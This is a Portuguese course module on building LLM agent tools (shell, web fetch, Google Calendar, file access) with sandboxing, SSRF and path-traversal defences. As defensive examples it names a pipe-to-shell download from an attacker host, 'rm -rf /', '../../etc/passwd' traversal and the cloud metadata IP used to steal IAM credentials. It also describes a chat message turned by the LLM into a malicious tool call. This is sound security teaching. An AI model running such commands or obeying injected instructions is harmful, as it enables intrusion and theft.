Módulo 2.5 — Tools que dão dinheiro

🧬 Anatomia de uma tool

Toda tool tem 4 partes: name (verbo snake_case), description (1-3 frases que o LLM lê pra decidir), parameters (JSON Schema strict) e execute (a função que roda). Nada mais. Se sua tool tem mais conceitos, você está embutindo lógica de negócio que pertence a outra camada.

from abc import ABC, abstractmethod
from dataclasses import dataclass

@dataclass(frozen=True)
class ToolResult:
    output: str | None
    error: str | None = None
    metadata: dict | None = None

class Tool(ABC):
    name: str
    description: str
    parameters: dict
    requires_approval: bool = False

    @abstractmethod
    async def execute(self, session: "Session", **kwargs) -> ToolResult: ...

    def to_openai_schema(self) -> dict:
        return {
            "type": "function",
            "function": {
                "name": self.name,
                "description": self.description,
                "parameters": self.parameters,
            },
        }

📊 O que cada parte faz pelo LLM

name: aparece literal no tool_calls[].name. Mude o nome e quebrar todos os logs históricos.
description: é system prompt parcial. O LLM escolhe a tool baseado nela. Vaga = nunca chamada (ou chamada errado).
parameters: JSON Schema. required estrito + additionalProperties: false evitam alucinação de argumentos.
execute: async. Recebe session (quem chama) + **kwargs (validados pelo schema antes de chegar).

💡 Description é system prompt parcial

O LLM lê a description de toda tool registrada em cada turno. Cada palavra ocupa input tokens e influencia decisão. Trate como prompt: claro, conciso, exemplos, "quando NÃO usar".

name

Verbo + objeto. search_web, send_email.

description

1-3 frases. Exemplo + quando NÃO usar.

parameters

JSON Schema. <7 props. required estrito.

execute

async. Retorna ToolResult, nunca raise.

🐚 ShellTool — sandbox com whitelist + timeout

A tool mais poderosa e a mais perigosa. Dá ao agente acesso a comandos de sistema. Sem sandbox: rm -rf / ou curl atacante.com/x.sh | sh a um prompt de distância. Com sandbox bem-feita: bash útil sem o desespero.

🚨 Alerta crítico

shell=True + input vindo do user (direto ou indireto via LLM) = RCE remoto garantido. Atacante manda mensagem pro Telegram, LLM converte em tool call, sua VPS vira mineradora de Monero. Nunca, em hipótese alguma, passe string interpolada pro subprocess sem whitelist + escape.

import asyncio
import shlex
from .base import Tool, ToolResult

ALLOWED = {"ls", "cat", "head", "tail", "wc", "grep", "find",
           "echo", "pwd", "date", "df", "du", "git"}

class ShellTool(Tool):
    name = "shell"
    description = (
        "Executa comandos shell read-only no workspace do usuário. "
        "Comandos permitidos: ls, cat, head, tail, wc, grep, find, "
        "echo, pwd, date, df, du, git. "
        "Use para inspecionar arquivos, contar linhas, buscar padrões. "
        "NÃO use para modificar arquivos (use file_write) nem para "
        "instalar pacotes."
    )
    parameters = {
        "type": "object",
        "properties": {
            "command": {
                "type": "string",
                "description": "Comando único. Ex: 'ls -la /tmp' ou 'grep TODO src/'",
            },
            "timeout_s": {
                "type": "integer",
                "description": "Timeout em segundos (1-30). Default 10.",
                "minimum": 1, "maximum": 30,
            },
        },
        "required": ["command"],
        "additionalProperties": False,
    }

    async def execute(self, session, command: str, timeout_s: int = 10) -> ToolResult:
        # 1. Parse seguro
        try:
            parts = shlex.split(command)
        except ValueError as e:
            return ToolResult(output=None, error=f"parse error: {e}")
        if not parts:
            return ToolResult(output=None, error="empty command")

        # 2. Whitelist do binário
        binary = parts[0].split("/")[-1]
        if binary not in ALLOWED:
            return ToolResult(
                output=None,
                error=f"command '{binary}' not allowed. "
                      f"allowed: {sorted(ALLOWED)}",
            )

        # 3. Bloqueio de metacaracteres perigosos
        if any(c in command for c in [";", "&&", "||", "|", ">", "<", "`", "$("]):
            return ToolResult(output=None,
                              error="pipes/redirects/substitution bloqueados")

        # 4. Subprocess SEM shell=True, com cwd no workspace
        try:
            proc = await asyncio.create_subprocess_exec(
                *parts,
                stdout=asyncio.subprocess.PIPE,
                stderr=asyncio.subprocess.PIPE,
                cwd=str(session.workspace),
            )
            stdout, stderr = await asyncio.wait_for(
                proc.communicate(), timeout=timeout_s
            )
        except asyncio.TimeoutError:
            proc.kill()
            return ToolResult(output=None, error=f"timeout após {timeout_s}s")
        except FileNotFoundError:
            return ToolResult(output=None, error=f"binário não encontrado: {binary}")

        out = stdout.decode("utf-8", errors="replace")[:8000]
        if proc.returncode != 0:
            err = stderr.decode("utf-8", errors="replace")[:2000]
            return ToolResult(output=out, error=f"exit {proc.returncode}: {err}")
        return ToolResult(output=out, metadata={"exit": 0, "bytes": len(out)})

✓ 4 defesas em camadas

✓shlex.split — parse seguro, não interpola.
✓Whitelist de binário, não blacklist.
✓Bloqueio explícito de ; && | > ` $().
✓create_subprocess_exec (não _shell) + timeout + cwd escopado.

✗ O que dev preguiçoso faz

✗os.system(cmd) — RCE servido.
✗subprocess.run(cmd, shell=True) — idem.
✗Blacklist de "comandos ruins" — sempre escapável.
✗Sem timeout — agente fica preso, custo escala.

💡 Produção real pede mais

Em produção séria, rode dentro de firejail, container ou microVM (Firecracker). Whitelist é primeira linha; isolamento de kernel é a segunda. Sem as duas, está apostando.

Whitelist < 20

Cada binário liberado é superfície de risco.

Read-only first

Comece sem mv, rm, cp. Adicione com cautela.

Output truncado

8KB chega. find / não estoura contexto.

cwd escopado

Sempre session.workspace, nunca /.

🌐 WebFetchTool — httpx + html2text

Agente que não acessa a web está cego. Mas requests.get(url).text joga 200KB de HTML, CSS, JS no contexto e queima dinheiro. Solução: httpx async + html2text pra extrair só o conteúdo textual + limites duros.

import httpx
import html2text
from urllib.parse import urlparse
from .base import Tool, ToolResult

UA = "NewAgenticOS/1.0 (+https://automationsai.net; contact=ops@example.com)"
BLOCKED_HOSTS = {"localhost", "127.0.0.1", "0.0.0.0", "169.254.169.254"}

class WebFetchTool(Tool):
    name = "fetch_url"
    description = (
        "Baixa o conteúdo textual de uma URL HTTP/HTTPS pública. "
        "Retorna o texto extraído (sem HTML/JS/CSS), até 12000 chars. "
        "Use para ler artigos, docs, releases. "
        "NÃO use para baixar arquivos binários, fazer login, ou "
        "acessar APIs (use http_post). Não segue mais de 5 redirects."
    )
    parameters = {
        "type": "object",
        "properties": {
            "url": {
                "type": "string",
                "description": "URL absoluta começando com https:// ou http://",
                "format": "uri",
            },
        },
        "required": ["url"],
        "additionalProperties": False,
    }

    def __init__(self):
        self._h2t = html2text.HTML2Text()
        self._h2t.ignore_images = True
        self._h2t.ignore_emphasis = False
        self._h2t.body_width = 0  # sem wrap

    async def execute(self, session, url: str) -> ToolResult:
        # SSRF defense
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return ToolResult(output=None, error="apenas http/https")
        host = (parsed.hostname or "").lower()
        if host in BLOCKED_HOSTS or host.endswith(".internal"):
            return ToolResult(output=None, error=f"host bloqueado: {host}")

        try:
            async with httpx.AsyncClient(
                timeout=httpx.Timeout(10.0, connect=5.0),
                follow_redirects=True,
                max_redirects=5,
                headers={"User-Agent": UA, "Accept": "text/html,text/plain,*/*"},
            ) as client:
                r = await client.get(url)
        except httpx.TimeoutException:
            return ToolResult(output=None, error="timeout (10s)")
        except httpx.HTTPError as e:
            return ToolResult(output=None, error=f"http error: {e}")

        if r.status_code >= 400:
            return ToolResult(output=None,
                              error=f"HTTP {r.status_code} em {url}")

        ctype = r.headers.get("content-type", "").lower()
        if "text/html" in ctype:
            text = self._h2t.handle(r.text)
        elif "text/" in ctype or "json" in ctype:
            text = r.text
        else:
            return ToolResult(output=None,
                              error=f"content-type não-textual: {ctype}")

        return ToolResult(
            output=text[:12000],
            metadata={
                "status": r.status_code,
                "final_url": str(r.url),
                "bytes": len(r.content),
            },
        )

⚠️ SSRF — o ataque que ninguém vê chegar

Sem bloqueio de 169.254.169.254, o agente consegue ler metadata da instância AWS (incluindo IAM credentials). Sem bloqueio de localhost, ele lê seu Redis, Postgres, painel admin interno. Block list sempre, plus DNS rebinding protection em produção séria.

📊 Por que User-Agent realista importa

Cloudflare/Akamai bloqueiam UA vazio ou "python-httpx/0.27".
Identificação honesta: nome do produto + contato. Webmaster sabe pra quem reclamar (e não bloqueia preventivamente).
robots.txt: respeite. Implementação de respeito é 10 linhas e evita C&D no e-mail.

httpx async

requests bloqueia event loop, mata throughput.

html2text

5x menos tokens que HTML cru.

Truncar em 12KB

~3000 tokens. Suficiente pra resumo.

max_redirects=5

Loop infinito de redirect = DoS.

📅 CalendarTool — Google Calendar OAuth

Aqui mora dinheiro real: agente que marca reunião pro cliente, lê agenda antes de responder, agenda follow-up sozinho. OAuth refresh token guardado por user → cada operação age como aquele user específico. Sem isso, não tem produto B2C.

from datetime import datetime, timezone
from google.oauth2.credentials import Credentials
from google.auth.transport.requests import Request
from googleapiclient.discovery import build
from googleapiclient.errors import HttpError
from .base import Tool, ToolResult

SCOPES = ["https://www.googleapis.com/auth/calendar.events"]

class CalendarTool(Tool):
    name = "create_calendar_event"
    description = (
        "Cria evento no Google Calendar primário do usuário. "
        "Use quando o usuário pede 'agenda', 'marca', 'cria reunião'. "
        "Datas devem estar em ISO 8601 com timezone "
        "(ex: '2026-05-20T14:00:00-03:00'). "
        "NÃO use para apenas listar eventos (use list_calendar_events) "
        "nem para editar evento existente (use update_calendar_event). "
        "Requer aprovação humana antes de gravar."
    )
    parameters = {
        "type": "object",
        "properties": {
            "summary": {"type": "string", "description": "Título do evento"},
            "start_iso": {"type": "string",
                          "description": "Início em ISO 8601 com timezone"},
            "end_iso": {"type": "string",
                        "description": "Fim em ISO 8601 com timezone"},
            "description": {"type": "string",
                            "description": "Descrição opcional"},
            "attendees": {
                "type": "array",
                "items": {"type": "string", "format": "email"},
                "description": "Lista de e-mails convidados (opcional)",
            },
        },
        "required": ["summary", "start_iso", "end_iso"],
        "additionalProperties": False,
    }
    requires_approval = True  # human-in-the-loop

    def __init__(self, token_store):
        self.token_store = token_store  # injeção: lê/escreve refresh tokens

    def _creds_for(self, user_id: str) -> Credentials | None:
        raw = self.token_store.get(user_id, provider="google")
        if not raw:
            return None
        creds = Credentials(
            token=raw["access_token"],
            refresh_token=raw["refresh_token"],
            token_uri="https://oauth2.googleapis.com/token",
            client_id=raw["client_id"],
            client_secret=raw["client_secret"],
            scopes=SCOPES,
        )
        if creds.expired and creds.refresh_token:
            creds.refresh(Request())
            self.token_store.save(user_id, provider="google",
                                  access_token=creds.token,
                                  refresh_token=creds.refresh_token,
                                  client_id=raw["client_id"],
                                  client_secret=raw["client_secret"])
        return creds

    async def execute(self, session, summary: str, start_iso: str, end_iso: str,
                      description: str = "", attendees: list[str] | None = None) -> ToolResult:
        # Validação de data antes da API
        try:
            start = datetime.fromisoformat(start_iso)
            end = datetime.fromisoformat(end_iso)
        except ValueError as e:
            return ToolResult(output=None, error=f"data inválida: {e}")
        if start.tzinfo is None or end.tzinfo is None:
            return ToolResult(output=None, error="datas precisam de timezone")
        if end <= start:
            return ToolResult(output=None, error="end_iso deve ser depois de start_iso")
        if start < datetime.now(timezone.utc):
            return ToolResult(output=None, error="não agendamos no passado")

        creds = self._creds_for(session.user.id)
        if not creds:
            return ToolResult(output=None,
                              error="usuário não conectou Google Calendar. "
                                    "Peça pra ele rodar /connect_google.")

        body = {
            "summary": summary,
            "description": description,
            "start": {"dateTime": start_iso},
            "end": {"dateTime": end_iso},
        }
        if attendees:
            body["attendees"] = [{"email": e} for e in attendees]

        try:
            service = build("calendar", "v3", credentials=creds,
                            cache_discovery=False)
            event = service.events().insert(
                calendarId="primary", body=body, sendUpdates="all"
            ).execute()
        except HttpError as e:
            return ToolResult(output=None,
                              error=f"google api error: {e.status_code} {e.reason}")

        return ToolResult(
            output=f"Evento criado: {event['htmlLink']}",
            metadata={"event_id": event["id"], "link": event["htmlLink"]},
        )

💡 requires_approval = True

Toda tool que escreve em sistema externo do usuário (calendar, email, banco) liga o flag. O agente loop (T2.2) intercepta antes do execute, manda mensagem "vou criar evento X em Y, confirma? (sim/não)" via channel. Sem isso, primeiro bug = e-mail enviado pro chefe errado.

⚠️ 3 erros que custam dinheiro

1. Refresh token em variável de ambiente. Funciona pra 1 user. Falha em 2. Sempre por-user, sempre em DB criptografado.
2. Não refresh antes de cada chamada. Access token Google dura 1h. Sem refresh, 60% das tool calls falham aleatoriamente.
3. sendUpdates="none". Convidados não recebem nada → cliente reclama que ferramenta "não funciona".

Token por user

token_store(user_id, provider).

Validação antes da API

Economiza quota e dá erro claro.

requires_approval

Write external = sempre confirma.

HttpError captura

429 (quota) ≠ 401 (token morto).

📁 FileTool — chroot via pathlib.is_relative_to

Agente precisa ler e escrever arquivos. Sem isolamento, qualquer path="../../etc/passwd" vira incidente. Solução robusta: cada user tem workspace_root, todo path é resolvido e is_relative_to verifica que ainda está dentro. Bloqueia .., symlink escape, absolute path injection.

from pathlib import Path
from .base import Tool, ToolResult

MAX_WRITE_BYTES = 1_000_000   # 1MB por arquivo
MAX_READ_BYTES  = 200_000     # 200KB lidos retornam pro LLM

def _safe_resolve(workspace: Path, rel: str) -> Path | None:
    """Resolve path dentro do workspace. None se escape."""
    try:
        candidate = (workspace / rel).resolve()
    except (OSError, ValueError):
        return None
    workspace_resolved = workspace.resolve()
    # is_relative_to bloqueia '..' e symlinks que apontam pra fora
    if not candidate.is_relative_to(workspace_resolved):
        return None
    return candidate


class FileWriteTool(Tool):
    name = "file_write"
    description = (
        "Escreve conteúdo textual em arquivo dentro do workspace do usuário. "
        "Caminho sempre relativo (ex: 'notas/ideia.md', NÃO '/tmp/x' nem "
        "'../x'). Sobrescreve se existir. Cria diretórios pais. "
        "Limite: 1MB por chamada. Use file_append para somar a arquivo "
        "existente sem sobrescrever."
    )
    parameters = {
        "type": "object",
        "properties": {
            "path": {
                "type": "string",
                "description": "Caminho relativo ao workspace, sem '..' nem barra inicial",
            },
            "content": {
                "type": "string",
                "description": "Conteúdo textual UTF-8. Máx 1MB.",
            },
        },
        "required": ["path", "content"],
        "additionalProperties": False,
    }

    async def execute(self, session, path: str, content: str) -> ToolResult:
        if path.startswith("/") or ".." in Path(path).parts:
            return ToolResult(output=None,
                              error="path inválido: use relativo sem '..'")
        if len(content.encode("utf-8")) > MAX_WRITE_BYTES:
            return ToolResult(output=None,
                              error=f"conteúdo > {MAX_WRITE_BYTES} bytes")

        target = _safe_resolve(session.workspace, path)
        if target is None:
            return ToolResult(output=None,
                              error="path escapou do workspace (bloqueado)")

        try:
            target.parent.mkdir(parents=True, exist_ok=True)
            target.write_text(content, encoding="utf-8")
        except OSError as e:
            return ToolResult(output=None, error=f"erro de I/O: {e}")

        rel = target.relative_to(session.workspace.resolve())
        return ToolResult(
            output=f"escrito: {rel} ({len(content)} chars)",
            metadata={"path": str(rel), "bytes": len(content)},
        )


class FileReadTool(Tool):
    name = "file_read"
    description = (
        "Lê conteúdo textual de arquivo no workspace. "
        "Retorna até 200KB. Para arquivos maiores, use shell com 'head'."
    )
    parameters = {
        "type": "object",
        "properties": {
            "path": {"type": "string", "description": "Caminho relativo"},
        },
        "required": ["path"],
        "additionalProperties": False,
    }

    async def execute(self, session, path: str) -> ToolResult:
        target = _safe_resolve(session.workspace, path)
        if target is None:
            return ToolResult(output=None, error="path inválido ou fora do workspace")
        if not target.exists():
            return ToolResult(output=None, error=f"não existe: {path}")
        if not target.is_file():
            return ToolResult(output=None, error=f"não é arquivo: {path}")
        try:
            data = target.read_bytes()
        except OSError as e:
            return ToolResult(output=None, error=f"I/O: {e}")
        try:
            text = data[:MAX_READ_BYTES].decode("utf-8")
        except UnicodeDecodeError:
            return ToolResult(output=None, error="arquivo binário não suportado")
        truncated = len(data) > MAX_READ_BYTES
        return ToolResult(
            output=text + ("\n[...truncado]" if truncated else ""),
            metadata={"size": len(data), "truncated": truncated},
        )

🚨 Por que `is_relative_to` e não startswith

String "/home/user1".startswith("/home/user") = True → acabou de vazar acesso a /home/user2/.... is_relative_to compara componentes de path, não substring. E resolve() primeiro força a expansão de symlinks. As duas juntas bloqueiam todos os ataques conhecidos de path traversal.

📊 Ataques que esta defesa bloqueia

../../../etc/passwd — .. em Path.parts rejeita logo no início.
/etc/passwd absoluto — startswith("/") rejeita.
notas/link-malicioso apontando pra /etc/shadow — resolve() segue o symlink, is_relative_to vê que saiu, bloqueia.
notas/./../../etc — resolve() normaliza, mesma defesa pega.

resolve() obrigatório

Sem ele, symlink escape passa.

Limite de bytes

Sem isso, agente enche disco em 1 turn.

UTF-8 only

Binário no contexto não ajuda LLM.

Workspace por user

/data/ws/{user_id}/. Isolamento default.

🧠 Padrões que tornam tool clara pro LLM

Tool tecnicamente correta + description ruim = tool nunca chamada (ou chamada errado). O LLM não consulta seu README — ele lê só o que você expõe via schema. Tratá-lo como dev júnior recém-contratado funciona: dá exemplo, diz quando não usar, mostra formato de input.

✓ Boa description

"""Busca eventos no Google Calendar
primário do usuário entre duas datas.
Datas em ISO 8601 com timezone
(ex: '2026-05-18T00:00:00-03:00').
Retorna até 50 eventos, mais recentes
primeiro. Use para 'o que tem hoje',
'agenda da semana', 'reuniões com X'.
NÃO use para criar evento
(use create_calendar_event)."""

✗ Description ruim

"""Calendar tool."""

→ LLM não sabe o que faz
→ Chama em situações erradas
→ Passa parâmetro em formato errado
→ Confunde com outras tools de calendar
→ Você gasta dias debugando "por que
   o agente não usa minha tool nova"

📊 8 anti-padrões comuns (e como corrigir)

1. Nome genérico. process, handle, do_it. Corrija: verbo + objeto (extract_invoice_total).
2. Description sem exemplo. LLM aprende por exemplo melhor que por regra. Sempre inclua 1.
3. Description sem "quando NÃO usar". Tools concorrentes (ex: 3 tools de email) confundem o LLM. Diga explicitamente a diferença.
4. Mais de 7 parâmetros. Divida em 2 tools (ex: create_event_simple + update_event_advanced).
5. Parâmetros sem description. O LLM adivinha o formato e erra. Cada property leva description com exemplo.
6. Required frouxo. Tudo optional = LLM chama sem args. Marque required estrito + additionalProperties: false.
7. Output enorme. Truncar não é opcional. 4-12KB. Páginas grandes viram file_write + caminho devolvido.
8. Erros como exception. Tool nunca raise. Sempre ToolResult(error="...") com mensagem que o LLM consegue ler e ajustar.

💡 Teste empírico de description

Após escrever a description, rode 20 prompts mistos (alguns que devem chamar a tool, outros que não devem) contra o agente em modo dry-run. Conte: precision (% das chamadas que eram apropriadas) e recall (% dos casos onde devia chamar e chamou). Abaixo de 80/80 = reescreva a description antes de codar outra tool.

⚠️ Mensagem de erro fala com o LLM, não com o user

✗ error="Internal error 0x8021"           ← LLM trava
✗ error="Exception in module foo line 22"  ← LLM trava
✓ error="email inválido. use formato user@dominio.com"
✓ error="datas precisam de timezone (ex: -03:00)"
✓ error="user não conectou Google. peça /connect_google"

O LLM lê a mensagem e tenta de novo com a correção. Mensagem útil = tool se auto-recupera. Mensagem técnica = agente desiste e responde "houve um erro" pro user.

1 tool = 1 verbo

Se faz 2 coisas, são 2 tools.

Exemplo na description

"Ex: pattern='*.md'" vale por 100 palavras.

Erro = ToolResult

Nunca raise. Mensagem actionable.

Teste 20 prompts

Precision e recall > 80% antes de shippar.

📝 Resumo do módulo

✓

Tool = 4 partes: name, description, parameters, execute. Mais que isso é over-engineering.

✓

ShellTool sem whitelist + timeout = RCE. Whitelist binário, create_subprocess_exec, bloqueio de metacaracteres, cwd escopado.

✓

WebFetch sem SSRF defense = leak de IAM credentials. Bloqueie localhost, 169.254.169.254, .internal. UA realista.

✓

Calendar requer OAuth por user + refresh + requires_approval. Sem isso, vira "ferramenta que funciona às vezes" — que é a pior categoria.

✓

FileTool com resolve() + is_relative_to(). startswith não basta — symlinks escapam.

✓

Description é system prompt parcial. Exemplo + quando NÃO usar + mensagens de erro actionable. Teste com 20 prompts.

Próximo módulo:

2.6 — Empacotar e operar (Docker, healthcheck, logging estruturado, deploy em VPS de R$30)

← Módulo anterior Próximo Módulo →